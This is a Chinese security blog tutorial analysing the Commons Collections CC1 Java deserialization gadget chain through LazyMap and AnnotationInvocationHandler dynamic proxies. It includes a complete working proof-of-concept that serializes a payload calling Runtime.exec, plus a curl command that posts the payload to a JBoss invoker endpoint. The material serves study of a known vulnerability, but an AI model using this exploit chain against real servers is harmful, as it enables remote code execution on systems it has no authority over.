0x00 LazyMap的由来

在上一篇《Java反序列化漏洞之TransformedMap版CC1链》文章中,提到了2015年1月加州AppSec安全会议上,Chris Frohoff和Gabe Lawrence在演讲中就CommonsCollections1完整调用链做出了演示,其中所用到的中间Gadget链就是LazyMap类,在随后发布的Ysoserial工具中所包含的CommonsCollections1链也同样如此。

那么,本文将会详细分析LazyMap作为中间链的这种反序列化利用方式。当然,与TransformedMap作为中间Gadget链相比,kick-off入口类与sink危害类都是相同的类,所以涉及重复的内容不会再赘述。不过,虽然sink类相同,但其中执行的方法却有所不同。

在此之前还需要了解一些前置知识,比如Java动态代理机制,当对LazyMap作为中间链的反序列化利用方式分析透彻了,对于后面学习其他Gadget链也是有帮助的,比如CommonsCollections3、CommonsCollections5、CommonsCollections6、CommonsCollections7都有涉及到LazyMap类。

0x01 影响范围

与上一篇文章中提到的影响范围相同,都是影响JDK 8u71以下的版本,且Commons Collections的版本要求在3.0以上、3.2.2以下。

0x02 动态代理

Java中的动态代理是一种在运行时创建代理对象的机制,该代理对象能够拦截对目标对象方法的调用并在调用前后执行额外的逻辑,动态代理通常用于在不修改原始代码的情况下实现日志记录、性能监控、事务管理等功能。

动态代理主要使用java.lang.reflect.Proxy类和java.lang.reflect.InvocationHandler接口来实现,Proxy类用于创建代理对象,而InvocationHandler接口则负责处理代理对象方法的调用。如下示例代码,非常清晰地演示了不使用动态代理与使用动态代理之间的差异性,一言以蔽之,被动态代理的对象每执行一个方法,都会调用对应的实现InvocationHandler接口类的invoke方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.javasec.proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

class InvocationHandlerDemo implements InvocationHandler {
protected Object obj;

public InvocationHandlerDemo(Object obj) {
this.obj = obj;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get") == 0){
System.out.println("invoke is called.");
}
return method.invoke(this.obj, args);
}
}

public class ProxyTest {
public static void main(String[] args) {

Map map = new HashMap();

map.put("k", "v");
// 正常通过键获取值的方式
System.out.println("k: " + map.get("k"));

System.out.println("--------------------------");

// 通过代理的方式
// 首先先创建InvocationHandler实例
InvocationHandler invocationHandler = new InvocationHandlerDemo(map);

// 再创建代理实例对象
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
invocationHandler
);
// 最后通过代理对象执行相关操作
String result = (String) proxyMap.get("k");
System.out.println("k: " + result);
}
}

/* 执行结果:
k: v
--------------------------
invoke is called.
k: v
*/

0x03 LayzMap#get

org.apache.commons.collections.map.LazyMap是一个继承自AbstractMapDecorator并用于创建懒加载的装饰类,它实现了MapSerializable,其中的decorate方法用于创建一个装饰后的Map实例,该方法接受一个被装饰的Map对象,以及一个工厂对象,后者将作为Lazymap的factory成员变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {

private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;

public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

public Object get(Object key) {
// 如果key当前不在map中,则为key创建value
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
}

LayzMap#get方法中,先会对传入的key进行判断是否存在于map中,此处的map是父类AbstractMapDecorator中的成员变量,且用到了transient修饰符,意味着它不会参与序列化,也意味着在反序列化过程中map会为空,其中不会包含任何key,这样就会顺利进入到if代码块中,而在其中有对factorytransform方法进行调用。

1
2
3
4
5
6
public abstract class AbstractMapDecorator implements Map {

/** The map to decorate */
protected transient Map map;
// ...
}

那么,当通过LazyMap.decorate方法传入一个恶意的ChainedTransformer对象作为恶意的factory,然后再调用LayzMap#get方法,最终就会触发恶意行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.javasec.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;

public class LazyMapTest {

public static void main(String[] args) {
Transformer[] ts = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
};
Transformer tc = new ChainedTransformer(ts);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), tc);

lazyMap.get("xx");
}
}

0x04 AnnotationInvocationHandler#invoke

AnnotationInvocationHandler类实现了InvocationHandler,这恰恰让人联系到上面的动态代理机制,而且这个类中的invoke方法里存在memberValues.get方法的调用,这又能够关联到LayzMap#get方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

// ...

return result;
}
}

但不过,重写的readObject方法中并未涉及到invoke相关方法,所以就需要用到动态代理机制,从而执行到invoke方法,最终达到执行get方法以达到命令的执行。

0x05 概念验证

结合如上所有,最终构造如下POC。第一处创建的AnnotationInvocationHandler实例是用于利用invoke方法触发LazyMap中的get方法从而达到命令执行,接着会通过调用Proxy.newProxyInstance()方法为这个实例创建代理对象proxyMap,但由于在反序列化的入口是readObject方法,所以无法对proxyMap直接序列化,所以就需要二次创建AnnotationInvocationHandler实例来对proxyMap进行包装。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.javasec.cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
public static void main(String[] args) throws Exception{

Transformer[] ts = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open -a Calculator"})
};
Transformer tc = new ChainedTransformer(ts);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), tc);

Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 创建第一个AnnotationInvocationHandler实例
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

// 调用Proxy.newProxyInstance()方法创建代理对象proxyMap
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);

// 第二次创建AnnotationInvocationHandler实例来对proxyMap进行包装
handler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc1-lazymap.ser"));
outputStream.writeObject(handler);
outputStream.close();
// ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc1-lazymap.ser"));
// inputStream.readObject();
}
}

向一个存在反序列化漏洞且JDK版本小于8u71的Jboss环境发送如上生成的恶意序列化数据,成功弹出计算器。

1
curl -H "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@cc1-lazymap.ser" http://localhost:8080/invoker/readonly

如下是完整Gadget调用链。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

0x06 Debug导致的小问题

如上POC在调试时,在进行序列化时就会弹出计算器,有时候甚至会弹出两个计算器,这些情况在直接运行的情况下反倒不会出现。这其实是由于在本地调试代码时,调试器会调用一些toString等方法,这样便触发了invoke的调用,从而导致命令执行。有一种非常简单的方式来避免这种行为,在IDEA中关闭如下两项即可。

0x07 参考